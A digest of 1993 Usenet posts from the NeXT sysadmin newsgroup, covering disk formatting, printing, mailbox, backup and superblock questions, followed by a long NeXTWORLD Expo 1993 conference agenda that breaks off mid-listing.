From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware Subject: Re: Sun HD on a NeXT Date: Mon, 3 May 1993 23:14:43 -0400 Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <kftRyXe00WB6QsDBpE@andrew.cmu.edu> In-Reply-To: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu> Excerpts from netnews.comp.sys.next.misc: 3-May-93 Sun HD on a NeXT by Shane M Zatezalo@magnus. > So I figured I'd use the drive on the NeXT here. > I plugged it in. Powered it up, and was in the monitor to watch the boot > process. > It came up as "generic scsi at sg0 at sc0 target 7 lun 7 That's not the hard drive, that's the SCSI controller chip inside the NeXT. You should make sure that you've set the SCSI target number on the drive so that it doesn't conflict with the drive(s) currently on the NeXT. Don't set it to 0 or the NeXT will try to boot of the Sun drive. I'm surprised that the WorkSpace didn't ask you something like "Hard drive <xyz> is not readable; do you wish to format it?" > I would have thought that the cpu would have known the drive was a seagate) > Anyway, I cannot figure out what to do now. > > If I try to do "/usr/etc/sdform /dev/sg0, I get: > > peach# /usr/etc/sdform /dev/sg0 > Request Sense command failed > ioctl(SDIOCSRQ): Permission denied Be happy this failed. You could have caused problems if the SCSI controller chip actually tried to do something.... > I found a few programs called "SCSI tools" on a ftp site, so I tried those: > > peach# /RemoteSpace/PeanutSpace/Shane/scsitools/inquire > -t 1 -l 0 "QUANTUM /LP105S 910109405/2.8 /" typ=0 dev=0 ans=2 fmt=1 > -t 5 -l 0 "SEAGATE /ST1480 SUN0424/5826/" typ=0 dev=0 ans=2 fmt=2 > > > So it knows the drive /is/ there. (You can even see the SUN0424 there, > I'm not sure whether that's good or bad) This is good; at least the drive is responding to SCSI requests. > If I try to format the drive through disk, I get: > > peach# /etc/disk -i /dev/sg0 > get info: Invalid argument Try "/usr/etc/disk /dev/rsdxa", where x is the device number of the Sun disk. It's probably 1, unless you already have more than one drive on your NeXT. If this works, you can edit the label, initialize the disk, and so forth from within the disk utility. You can then use newfs to actually create a filesystem on the disk; but the WorkSpace should be able to do that for you automatically. -Chuck Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :) ------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends. NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: NS 3.0 & PS lvl 1 printer Message-ID: <1993May4.034719.6493@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA Date: Tue, 4 May 1993 03:47:19 GMT I have an HP IIP printer with an HP (Adobe level 1) Postscript cartridge. It works fine most of the time except when printing some images, namely color ones. Then it just prints a gray box. On the NeXTlaser and on PS level 2 printers the color pics print out correctly. I've found where in /usr/lib/NextStep/printPackage.ps (3.0) this is occuring and it's quite intentional. Does anyone know if NeXT will more fully support level 1 printers (or HP without PS cartridges) in the future or am I stuck till I upgrade printers? Paul Verket (NeXTmail ok
From: gregory@brigham-circle.mit.edu (Greg Howland) Newsgroups: comp.sys.next.sysadmin Subject: Active.mbox won't open Date: 4 May 1993 04:52:28 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1s4sqcINN6uo@senator-bedfellow.MIT.EDU> My NeXT computer hung while opening Mail.app. I was forced to turn it off and reboot it. Now my Active.mbox wont open (all of my other mbox's open). Does anyone have suggestions on how to correct this? Thanks, Greg gregory@brigham-circle.mit.edu
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de> Newsgroups: comp.sys.next.sysadmin Subject: Re: Active.mbox won't open Date: 4 May 1993 06:27:05 GMT Organization: University of Karlsruhe, Germany Distribution: world Message-ID: <1s52bp$1k6@nz12.rz.uni-karlsruhe.de> References: <1s4sqcINN6uo@senator-bedfellow.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In article <1s4sqcINN6uo@senator-bedfellow.MIT.EDU> gregory@brigham-circle.mit.edu (Greg Howland) writes: > My NeXT computer hung while opening Mail.app. I was forced to turn it > off and reboot it. Now my Active.mbox wont open (all of my other > mbox's open). Does anyone have suggestions on how to correct this? > > Thanks, > Greg > gregory@brigham-circle.mit.edu We had the same problem: Open your active.mbox as a folder and rename the lockfile. Then restart mail.app. -- ----------------------------------------------------------------- Ruediger Popp Engler-Bunte-Institute Dept. Chemistry and Technology of Gas, Oil and Coal University of Karlsruhe (TH) Richard-Willstaetter-Allee 5 W-7500 Karlsruhe 1 Germany FAX : +49 721 69 30 19 E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred) -----------------------------------------------------------------
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: eps@shell.portal.com (Eric Schwartz) Subject: Bouncy screen savers? Message-ID: <C6HrFw.Lt2@unix.portal.com> Followup-To: poster Sender: news@unix.portal.com Organization: Portal Communications Company Date: Tue, 4 May 1993 07:28:41 GMT Does anyone have a screen saver that simply bounces words around a black screen? More specifically, I'm looking for some code to scan the end of a text file for key words, and to move those words around the screen in a variety of ways. (The words would have to be big, too, and that program in /NextDeveloper/Demos that bounces the hostname around the screen is very close to what I need. Does anyone have the source code to it?) Thanks, Eric --> eric@whyanext.com -- Eric Schwartz eps@shell.portal.com
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.unix.questions Subject: dump - what gets dumped Date: 4 May 1993 11:47:47 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1s5l53$sdk@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu According to the dump man pages dumping is done by modification times (after consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by access times! Is that true? BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got dumped at the 9 level again. Between yesterday and today all my files were accessed but only a few changed. Any suggestions? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: hlam@bnr.ca (Hayward Lam) Subject: Problem:a superblock is unreadable Message-ID: <1993May4.132436.5626@bmers95.bnr.ca> Sender: usenet@bmers95.bnr.ca Organization: Bell-Northern Research Ltd. Distribution: na Date: Tue, 4 May 1993 13:24:36 GMT My boot disk has a superblock which became unreadable. It gives this message look like this: TARGET 1: SUPERBLOCK C0H4456 is unreadble: MEDIA ERROR: RETRY 1 .... .... Any comment to help correct this problem is appreciated. Thanks. Hayward --------------------------------------------------------- Hayward Lam email:hlam@bnr.ca People have a way of becoming what you encourage them to be, not what you nag them to be. by Scudder Parker ---------------------------------------------------------
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software Subject: May Update: NeXTWORLD Expo Info Bulletin (Special Offers and Full Agenda) Date: 4 May 1993 00:06:57 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <1s4c31$859@rosie.next.com> 1993 NeXTWORLD EXPO INFORMATION BULLETIN (May Update: including special offers and full agenda) You are invited to ... What: NeXTWORLD Expo When: May 25 - 27, 1993 Where: Moscone Convention Center, 747 Howard Street San Francisco, California Events: Developer and User Conference and User Group Program Keynotes: by Steve Jobs, NeXT & Andrew Grove, Intel ...From Black Computers to White - NEXTSTEP for Intel Processors ...Completed and Unveiled Over 100 NEXTSTEP technology exhibitors will be present on the Exhibit floor. (See the list of exhibitors at the end of this message.) Phone 1-800-767-2336 or 508-470-3880 to register or FAX the registration form at the end of this message. ******** ********* ******** ******* SPECIAL OFFER As a special offer, all registered NeXTWORLD Expo attendees will receive a 50% discount on all of NeXT Computer's system software products available at the Expo. ******** ********* ******** ******* SPECIAL OFFER For $995, receive admission to all Developer and User Conference sessions PLUS a copy of NEXTSTEP for Intel processors User Environment and Development Tools (a savings of over 85% for NEXTSTEP!) ******** ********* ******** ******* During the 3 day conference, there will be speakers represented from the following 80 organizations, including NeXT: Pencom, McCaw Cellular, Intel, Adamation, WordPerfect, Swiss Bank, Pages, Millennium, MIT, Athena Design, Lighthouse Design, Goldleaf, HSD, RDR, Texas A&M, Integrity Solutions, Data General, Wiltel, Stone Design, VNP, Objective Partners, Objective Technologies, RightBrain, NeXT, Systemhouse, Omni Group, Cal State - Long Beach, University of Houston, Logicon Ultrasystems, Pan Canadian Petroleum Limited, Marble Associates, Chrysler Financial, Servare Business Systems, Trident Data Sys., Booz Allen & Hamilton, Mt Clemens Hospital, Linotype-Hell William Morris Agency, Black Market Technologies, Insight Software, Inherent Software, NeXTWORLD, Data Place Computer, Publish Magazine, IP Design, RadioMail, Bell Atlantic, Pangea, University of Texas, Corporation, Brigham and Womens Hospital, Alain Pinel, Information Delivery Ltd, TRW, USC - ISI, NeuroDimension Inc., LOR/Geske Bock Associates Inc., Panon Telexpertise Inc., TASC, Fidelity Investments, Software Services & Solutions, Inc., MailCom, Just Proportion Ltd., Sarrus, Imagine, Insignia, Abacus, IPT, Conextions, BlackSmith, Xanthus, Thoughtul Software, Boss Logic, Visus, Axsys, WhiteLight, Altsys, Appsoft, Preferred Health Care, Ensuing Technologies, and Proponent. Over 100 NeXT User groups will be represented from the United States, Mexico, Canada, the United Kingdom, Ireland, Germany, France, Singapore, Japan, Australia, Netherlands, and Hong Kong. _____________________________________________________________________ TABLE OF CONTENTS => NeXTWORLD EXPO INTRODUCTION => ALL NeXTWORLD EXPO EVENT DESCRIPTIONS => NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS => NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS => NEXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES => NeXT USER GROUP PROGRAM AGENDA => TUTORIALS AND BOF MEETINGS => REGISTRATION, HOTEL AND TRAVEL INFORMATION _____________________________________________________________________ => NeXTWORLD EXPO INTRODUCTION The second annual NeXTWORLD EXPO combines a worldwide Developer Conference, User Conference, User Group Program and Product Exposition spanning three days. This year's NeXTWORLD Expo marks the culmination of the most significant event in NeXT's history. At the Expo, NeXT will deliver the completed, shrinkwrapped release of NEXTSTEP for Intel processors. The product that Byte magazine has called, "...the most respected piece of software on the planet..." -- now available on industry-standard computers. When you see NEXTSTEP, we think you'll agree. NeXT's decision to concentrate on object-oriented software, move away from signature black hardware, and devote all company resources to running NEXTSTEP on white hardware--is more than the transformation of a company. It is, in all likelihood, the transformation of an entire industry. We look forward to seeing you at the Expo. As a special offer, all registered NeXTWORLD EXPO attendees will receive a 50% discount on NeXT's software products available at the Expo. For $695: receive admission to all Developer Conference and User Conference Sessions, attendance to the User Group Program, and admission to the Product Showcase. SPECIAL BONUS...For $995, receive admission to all of the above PLUS a copy of NEXTSTEP for Intel processors User Environment and Development Tools! (See registration form below). _____________________________________________________________________ => ALL NeXTWORLD EXPO EVENT DESCRIPTIONS NeXTWORLD EXPO DEVELOPER CONFERENCE The NeXTWORLD EXPO '93 Developer Conference offers a broad curriculum to the developer community, focusing on creating both shrinkwrapped applications and client/server custom applications. Because the ability to run NEXTSTEP applications on Intel-based computers is now a reality, both the general session and the conference tracks provide valuable information about porting and distribution. Four separate Conference Tracks focus on the business and technical aspects of NEXTSTEP application development. Each track provides a different perspective on understanding and working with NEXTSTEP. To benefit most from the breadth of topics offered at the conference, we encourage you to review and attend sessions from several tracks. A specially priced developer bundle is available which includes registration and a copy of NEXTSTEP for Intel Processors (see registration form below for details). NeXTWORLD EXPO USER CONFERENCE The NeXTWORLD EXPO '93 User Conference offers in-depth information about the use of NEXTSTEP in corporate information systems and on individual desktops. Designed for experienced NEXTSTEP end users, system managers, and IS strategists, the four-track program focuses on the issues of deploying NEXTSTEP in enterprise-wide systems, using NEXTSTEP for maximum benefits, case studies of NEXTSTEP usage in the real world, and comparative looks at the most innovative third-party products in the NeXT market. One session is dedicated to providing a quick start for users who are new to NEXTSTEP, so that they can participate fully in the remainder of the program. Key sessions in each track are repeated so that attendees can participate in as many different sessions as possible. NeXT USER GROUP PROGRAM NoIR (NeXT Organizations InteRnational) is sponsoring a worldwide User Group Program. This year's program theme is "486--An Explosion of New Users Under NeXT's Big Tent." Sessions focus on two tracks: user group leadership and member services. If you want ideas to take back to your group, this program is for you. Last year over 100 groups from around the world were represented and this year we expect many more. With the explosion of new NEXTSTEP users coming this year and next, this program helps you prepare your NeXT User Group for growth and success in 1993 and 1994. In addition to the formal events listed here, several special social events will be held. All user group members attending either the exposition or the conferences are invited to register for the user group program free of charge. KEYNOTE SPEAKERS Tuesday, May 25 9:00 AM - 11:00 AM, Hall E Steve Jobs - Chairman and CEO of NeXT, Inc. Steve Jobs discusses the future of object-oriented, client/server computing. Wednesday, May 26 9:00 AM - 10:30 AM, Hall E Andrew Grove - Chairman and CEO of Intel Corporation Andrew Grove discusses Intel's 486 and Pentium processors, and NEXTSTEP's place in their future. DEVELOPER CONFERENCE GENERAL SESSION Tuesday, May 25 4:30 PM - 5:30 PM, Hall E Your NEXTSTEP Application and their Hardware Paul Hegarty, NeXT's Director of NEXTSTEP for Intel processors software, explains how to port your application to the Intel platform and leaves ample time to answer your porting questions. USER CONFERENCE GENERAL SESSION 10 MOST WANTED Wednesday, May 26 5:00 PM - 6:00 PM, Hall E NeXTWORLD Editor-in-Chief Dan Ruby leads a panel of NEXTSTEP customers, developers, and user group leaders in reviewing NeXT's accomplishments during the last year and setting the agenda for the year ahead. GENERAL SESSIONS OPEN TO ALL ATTENDEES Thursday, May 27 9:00 AM - 10:00 AM, Hall E NEXTSTEP AND THE OS WARS Bob Metcalfe, Publisher and CEO of InfoWorld Publishing Co., hosts a panel of industry pundits and NeXT customers as they discuss the alternatives among advanced operating systems in the coming battle for the corporate desktop. USER GROUP AUCTION Wednesday, May 26 6:00 PM - 7:30 PM, Hall D Attend this fun event. A range of products and services from the NeXT community will go to the highest bidder. Proceeds go toward the User Group Program at the Expo. NeXTWORLD MAGAZINE AWARDS Tuesday, May 25 6:00 PM - 7:00 PM, Hall E NeXTWORLD honors the best and most innovative products in the NeXT market in its first annual award ceremony. Cheer on your favorites as a lineup of NeXT community luminaries announce the winners in each product category. NEXTSTEP PRODUCT EXHIBITION Tuesday, May 25, 11:00 a.m. - 6:00 p.m. Wednesday, May 26, 9:00 a.m. - 6:00 p.m. Thursday, May 27, 9:00 a.m. - 12:00 p.m. Be sure to see over 100 product exhibits and find out why so many companies have embraced NEXTSTEP technology. See the latest in NEXTSTEP hardware and software, and meet with users, resellers, and partners. The Expo also features an ObjectWare Pavillion dedicated to the growing number of NEXTSTEP ObjectWare vendors. _____________________________________________________________________ => NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS MAY 25-27, 1993 Tuesday, May 25 -> 11:30 AM - 4:15 PM Wednesday, May 26 -> 11:45 AM - 4:45 PM Thursday, May 27 -> 10:15 AM - 3:00 PM ** TRACK ONE ** THEME: NEXTSTEP MEANS BUSINESS This track addresses topics of broad, general interest to the third-party and corporate developer community, including how to evaluate development environments, profiles of NEXTSTEP's markets and customers, how to protect your intellectual property, and 486 distribution issues. A variety of experts discuss issues geared to business professionals. Technical professionals will benefit from opportunities to hear engineers explain how to succeed in object-oriented development, and to meet key NeXT engineers for a lively Q&A session. No direct NEXTSTEP experience is required for the sessions in this track, but a technical background is sometimes useful. TRACK ONE SESSIONS: ** DISTRIBUTED NEXTSTEP APPLICATIONS ** Erna Arnesen, Director of Channel Sales, NeXT 11:30am - 12:30pm, Tuesday, May 25 Developer Conference Room 130 This comprehensive discussion answers question about NeXT's software distribution channels. Distribution partners are identified and ways to ensure successful interaction with developers are explained. Plans for distribution of NEXTSTEP for Intel processors are also presented. ** A DEVELOPER'S GUIDE TO ENTERPRISE-WIDE DEPLOYMENT ** Anita Sansguiri, Project Manager, ADAMATION 2:00pm - 3:00pm, Tuesday, May 25 Developer Conference Room 130 ADAMATION's project manager describes how they successfully deployed their application at multiple offices of a real estate company. Deployment issues ranging from application development, networking, and database management, to augmenting NEXTSTEP tools are described. ** NeXT's MARKETS AND THEIR DEVELOPMENT OPPORTUNITIES ** Ron Weissman, Director, Strategic Marketing, NeXT David Grady, Developer Advocates, NeXT 3:15pm - 4:15pm, Tuesday, May 25 Developer Conference Room 130 This is a chance to hear from NeXT about targeted markets, the specific products that customers are requesting, and solutions that would match market requirements. Opportunities for developers and consultants are discussed. ** NEXTSTEP MEANS BUSINESS ** Warren Weiss, Vice President, Sales and Marketing, NeXT 10:45am - 11:45am, Wednesday, May 26 Developer Conference Room 130 Hear NeXT' new VP of sales and marketing make the compelling business case for choosing NEXTSTEP. Joining Weiss will be key decision makers from some of NeXT's largest customers. This session outlines where we are headed and how developers can align with NeXT for success. ** PROTECTING YOUR TECHNOLOGY ** Christopher Seline, Esq., Formosa Transnational Attorneys-at-Law 1:15pm - 2:15pm, Wednesday, May 26 Developer Conference Room 130 Maximizing profit and protecting intellectual property are vital concerns for every developer. This session introduces fundamental legal issues such as copyright, patent, trademark, and trade secret laws and how they relate to computer software. Our speaker has considerable NEXTSTEP and UNIX experience. ** NOTHING's EASIER THAN NEXTSTEP DEVELOPMENT ** Mike Colyer, Lead Developer, WordPerfect Corporation 2:30pm - 3:30pm, Wednesday, May 26 Developer Conference Room 130 A developer of large commercial applications in both Windows and NEXTSTEP discusses his experiences in cross-platform development. Our speaker ported WordPerfect to NEXTSTEP for Intel processors in a matter of hours and this session describes his experiences. Helpful hints and productivity techniques will be presented. ** SUCCEEDING WITH OBJECT-ORIENTED DEVELOPMENT ** Bruce Webster, Chief Technical Officer, Pages Software Jayson Adams, CEO and Chief Scientist, Millennium Software Labs 3:45pm - 4:45pm, Wednesday, May 26 Developer Conference Room 130 Accompanying the power that object-oriented technology (OOT) brings to application development are some specific challenges and requirements. In this session, two NEXTSTEP developers describe the insights they gained and the lessons they learned while producing major commercial productivity applications. * "DR. STRANGEAPP, OR HOW I LEARNED TO STOP WORRYING & LOVE ISV'S" * Jeff Kvam, Swiss Bank Corporation 10:15am - 11:15am, Thursday, May 27 Developer Conference Room 130 One of NeXT's largest commercial customers explains the techniques and business practices of establishing a productive working relationship with large corporations. ** STRATEGIES FOR DYNAMIC PERSONALIZED SYSTEMS ** Pascal Chesnais, Research Specialist, Massachusetts Institute of Technology, Media Laboratory Douglas Koen, Undergraduate Researcher, MIT, Media Laboratory 11:30am - 12:30pm, Thursday, May 27 Developer Conference Room 133 Successful personalization of applications will require an understanding of a users' dynamic needs. The MIT Media Laboratory has been exploring these issuesPusing new tools such as user modeling, knowledge representation and distributed servers with the future of news in mind. A system called Glue is described that connects these various components into an extensible personalized news system. ** CREATING SUCCESS WITH NEXTSTEP ** Panel: Moderator: Julie Saffren, Manager, Developer Relations, NeXT David Pollak, Athena Design Scott Love, Millennium Software Labs, Inc. Jonathan Schwartz, Lighthouse Design Lauren Flanegan-Sellers, Goldleaf Publishing 12:45pm - 1:45pm, Thursday, May 27 Developer Conference Room 130 Based on their real-world experiences, a panel of NEXTSTEP developers describe their paths to success in the NEXTSTEP marketplace. Creative marketing techniques, how to leverage the sales force, and product focus are debated and discussed. ** MEET THE SOFTWARE ENGINEERS ** Panel: NeXT Software Engineers Moderator: Jean-Marie Hullot 2:00pm - 3:00pm, Thursday, May 27 Developer Conference Room 130 Several software engineers who were integral in creating NEXTSTEP Release 3 join together in this forum to answer your questions. This was a popular session last year, so come early if you want a seat! ** TRACK TWO ** THEME: NEXTSTEP AND THE ENTERPRISE NEXTSTEP and the Enterprise presents issues specific to using NEXTSTEP in large organizations, such as working with large and mixed networks, portability, interoperability, connectivity, distributed computing, and integration of shrinkwrapped applications into custom solutions. Most sessions in this track require a technical background but assume that attendees have no experience working with NEXTSTEP. TRACK TWO SESSIONS: ** INTEGRATING SHRINKWRAPPED APPLICATIONS IN A CUSTOM SOLUTION ** Panel: Moderator: David Lavallee, Software Engineer, NeXT Dave Peter, HSD Paul Murphy, Independent Consultant Chris Walters, Technical Staff, RDR, Inc. 11:30am - 12:30pm, Tuesday, May 25 Developer Conference Room 131 It's not always possible to find a shrinkwrapped or custom solution that solves a given problem completely. But applications can be easily integrated. Customers and third-party developers discuss why they would integrate shrinkwrapped software into client/server custom solutions, and the value that results from this merger. ** DEVELOPING OBJ-C APPLICATIONS FOR NEXTSTEP & MICROSOFT WINDOWS ** Christopher Lozinski, Berkeley Productivity Group Walter C. Daugherity, Texas A&M University 2:00pm - 3:00pm, Tuesday, May 25 Developer Conference Room 132 NEXTSTEP developers have traditionally been faced with a dilemma: Should they develop in Objective-C on NEXTSTEP, or C++ for Microsoft Windows. Now it's possible to develop for both platforms in Objective-C and C++. Developers can use Objective-C with the Borland compiler on the PC, and the GNU compiler on NEXTSTEP. The discussion reports that develop applications for both platforms, describes this experience, and the techniques that work. There will also be a discussion of Smalltalk for NEXTSTEP. ** WORKFLOW TOOLS IN CUSTOM APPLICATION ** Randy Marchessault, Software Engineer, Integrity Solutions 2:30pm - 3:30pm, Wednesday, May 26 Developer Conference Room 131 Workflow, a popular, but commonly misunderstood buzzword is examined through applying concepts and objects to real-world problems. Discussion centers on representing tasks and task dependencies, implementing group scheduling, resource management, document and information routing, user notification, and recursive schedule divisibility. ** OBJECT-ORIENTED CLIENT/SERVER APPLICATION DESIGN ** Patricia Monk, Director-NeXT Business Unit, Data General Corporation 3:45pm - 4:45pm, Wednesday, May 26 Developer Conference Room 131 This session explains the key issues of object-oriented client/server application design and layout, including programming tools and techniques to assist in this type of application development. It also discusses how the UI (or lack of it) for server requester objects and server provider objects affects the efficiency of an application. ** ADVANTAGES INHERENT IN ELECTRONIC DOCUMENTATION ** Carla Kay Barlow, Product Documentation, Stone Design Jim Clark, Advanced Technology Group, WilTel 11:30am - 12:30pm, Thursday, May 27 Developer Conference Room 131 A persuasive argument in favor of all-electronic software documentation, this session spans the interests of users and developers from the viewpoint of third party and corporate development efforts. Topics range from the use of NEXTSTEP's on-line help standard to how to develop class specification documentation that facilitates consistent coding style, code reuse and rapid prototyping. ** A NEXTSTEP SHARED DEVELOPMENT ENVIRONMENT ** Panel: Moderator: Rick Jackson, Software Product Marketing, NeXT Luke Blanshard, Software Architect, VNP Software, Inc. Steve Naroff, Manager, Development Environment, NeXT Pete Clark, Software Engineer, Integrity Solutions, Inc. 12:45pm - 1:45pm, Thursday, May 27 Developer Conference Room 131 Development teams of more than a few people have special synchronization and code management problems that can delay or prevent release of a large working system. NEXTSTEP developers discuss current and future solutions for group development. Corporate and third party developers discuss tools they built to solve today. ** SKETCHING OUT A BETTER USER INTERFACE ** Ray Ryan, User Interface Designer, Lighthouse Design 2:00 - 3:00pm, Thursday, May 27 Developer Conference Room 131 Creating excellent user interfaces is frequently more the result of art than science. This session provides some insight into the aesthetics of UI design. The user interface designer of Diagram! 2 discusses techniques for building good user interfaces starting at day one. He will include before and after examples from Diagram! and Diagram! 2 to emphasize how sound UI design techniques help create more usable interfaces. ** TRACK THREE ** THEME: DEVELOPING NEXTSTEP APPLICATIONS This track examines the tools and techniques central to developing your NEXTSTEP applications, such as debugging, Interface Builder, performance tuning, user interface issues, localization, and application validation. Speakers include both third-party and corporate developers who share their knowledge gained "in the trenches", developing popular and productive applications. These sessions are targeted for attendees who have intermediate or advanced NEXTSTEP programming proficiency. TRACK THREE SESSIONS: ** THE ZEN OF DEBUGGING ** Julie Zelenski, Lecturer, Stanford Univ. and Support Engineer, NeXT 11:30am - 12:30pm, Tuesday, May 25 3:15pm - 4:15pm, Tuesday, May 25 (Repeated session) Developer Conference Room 132 Need a new bag of tricks for debugging in the NEXTSTEP development environment? Or maybe you're just looking to fill out your current repertoire? In either case, you can learn something new in this challenging and informative session. ** VALIDATING NEXTSTEP APPLICATIONS AND OBJECTS ** Jim Walsh, Software Quality Manager, NeXT Kris Oosting, Manager, Objective Partners 2:00pm - 3:00pm, Tuesday, May 25 Developer Conference Room 131 It's been said "you can't control what you can't measure", and this holds true for object-oriented development. This session explores the theories of testing your NEXTSTEP applications and objects. ** GETTING MORE SPEED OUT OF YOUR APPLICATION ** Brian Pinkerton, Software Engineer, NeXT Trey Matteson, Manager, Application Kit Group, NeXT 10:45am - 11:45am, Wednesday, May 26 Developer Conference Room 132 Reprising one of last year's most popular sessions, NeXT's engineers take a reasonably slow application and make it faster, before your very eyes. You'll see the steps you need to take to speed your applications' performance. ** INTRODUCTION TO NEXTSTEP PROGRAMMING ** Randy Nelson, Lead Developer Trainer, NeXT 10:45am - 11:45am, Wednesday, May 26 Developer Conference Room 131 If you're just encountering the world of object-oriented programming, this overview of NEXTSTEP features and object technology is extremely useful for understanding context and vocabulary. This session is a must for technical evaluators of the platform. ** UI PERFORMANCE ** Bill Bumgarner, Software Artist, Stone Design Glenn Reid, President, RightBrain Software 1:15pm - 2:15pm, Wednesday, May 26 Developer Conference Room 133 2:00pm - 3:00pm, Thursday, May 27 (repeated session) Developer Conference Room 133 Enhancing the performance of your application's UI can be crucial to users' success with the application. NEXTSTEP developers describe methods for increasing perceived performance and methods for decreasing actual drawing time. ** BUILDING BETTER NEXTSTEP APPLICATIONS ** Randy Nelson, Lead Developer Trainer, NeXT 1:15pm - 2:15pm, Wednesday, May 26 Developer Conference Room 131 Proper use of NEXTSTEP significantly increases the power of your application; correspondingly, improper or partial use of NEXTSTEP can decrease your application's usability. An overview of specific topics--user interface, portability, localization, and important kit features--shows you how to build flexibility into your application. References to documentation and other resources are included. ** WRITING EXTENSIBLE APPLICATIONS ** Jeff Martin, Developer Support Engineer, NeXT 2:30pm - 3:30pm, Wednesday, May 26 10:15am - 11:15am, Thursday, May 27 (Repeated session) Developer Conference Room 132 This lecture explores techniques that add run-time flexibility to an application. Dynamic loading of objects adds much to the power of InterfaceBuilder as a development tool and is mainly responsible for the runaway success of BackSpace. Find out how to add dynamic loading to your application while increasing its efficiency and maintainability. ** CREATING INTERFACE BUILDER PALETTES ** Scott Ritchie, Developer Trainer, NeXT 3:45pm - 4:45pm, Wednesday, May 26 11:30am - 12:30pm, Thursday, May 27 (repeated session) Developer Conference Room 132 Using Interface Builder Palettes can add custom functionality to your interfaces, save development time, and generate valuable re-useable tools. One of NeXT's trainers explains how to build palettes that provide advanced functionality for many different sorts of objects. ** BUILDING REUSABLE OBJECTS ** Andrew Athan, Objective Technologies 10:15am - 11:15am, Thursday, May 27 Developer Conference Room 133 Well-rounded classes don't just happen: they require careful planning and design to become flexible and robust. This session reviews some of the issues that you should consider before writing your first line of code. The discussion includes licensing issues for objects. ** TRACK FOUR ** THEME: UNDER THE HOOD - OBJECTS AND NEXTSTEP FEATURES This track explores the detail level of object technology and specific NEXTSTEP features and kits. Topics include DataBase Kit, Indexing Kit, Driver Kit, Object Links, Help, and filter services. Familiarity with NEXTSTEP programming is recommended for attendees of the sessions. TRACK FOUR SESSIONS: ** GETTING STARTED WITH DATABASE KIT ** Scott Weiner, Developer Trainer, NeXT 11:30am - 12:30pm, Tuesday, May 25 3:15pm - 4:15pm, Tuesday, May 25 (Repeated session) Developer Conference Room 133 Learn the basics of NEXTSTEP's newest kit with one of NeXT's trainers. Step through the decisions involved with building a simple DataBase Kit application and see how DataBase Kit can help reduce time and effort in developing a client/server custom application. Time is provided for Q&A at the end of this session. ** REAL-WORLD DATABASE KIT APPLICATIONS ** Panel: Moderator: Jerry Goode, Systems Engineer, NeXT Bill Dudney, Pencom Jim Million, Systemhouse Ken Case, Omni Group 2:00pm - 3:00pm, Tuesday, May 25 Developer Conference Room 133 A panel of corporate developers and system integrators explain and discuss their real-world development experiences and describe how the DataBase Kit helped them resolve client/server computing issues. ** ADVANCED DATABASE KIT ISSUES ** Panel: Moderator: Leo Hourvitz, NeXT Van Simmons, VNP Software Mike Sanford, Pencom Alex Cone, Objective Technologies Jerry Goode, NeXT Mike Riggs, NeXT Tom Winans, Systemhouse 3:15pm - 4:15pm, Tuesday, May 25 Developer Conference Room 131 Aimed at engineers who have done some heavy duty programming with DataBase Kit. This session will be a Q&A formatPthis is the panel to which you should bring your tough DBKit questions! The panelists all have tips and tricks for getting the real work done. ** USING NEXTSTEP RELEASE 3 APPLICATION KIT FEATURES ** Ali Ozer, Software Engineer, NeXT 10:45am - 11:45am, Wednesday, May 26 12:45pm - 1:45pm, Thursday, May 27 (Repeated session) Developer Conference Room 133 This session reviews several NEXTSTEP Release 3 features, including dragging, Help, filter services, and using color. Use of these features is uncomplicated and can add considerably to the power and flexibility of your application (and the popularity with your users.) ** OBJECT LINKS IN DETAIL ** Trey Matteson, Manager, Application Kit Group, NeXT 1:15pm - 2:15pm, Wednesday, May 26 Developer Conference Room 132 and 2:00pm - 3:00pm, Thursday, May 27 (Repeated session) Developer Conference Room 132 Take advantage of the power of object linking...the powerful mechanism that enables documents to share data dynamically. This session explains why and how you should incorporate Object Links into your application. ** PROGRAMMING WITH DISTRIBUTED OBJECTS ** Stephen Asbury, Developer Trainer, NeXT 2:30pm - 3:30pm, Wednesday, May 26 Developer Conference Room 133 This presentation details the steps you need to take to build a client/server application using distributed objects, one of NEXTSTEP's most powerful tools. Discussion includes invalidation notification, threaded servers, and peer-to-peer architectures. ** WORKING WITH THE INDEXING KIT ** Kris Younger, System Engineer, NeXT 3:45pm - 4:45pm, Wednesday, May 26 Developer Conference Room 133 The Indexing Kit is a major feature of NEXTSTEP Release 3. The kit provides a framework for storing and managing data, analogous to the framework for user interaction 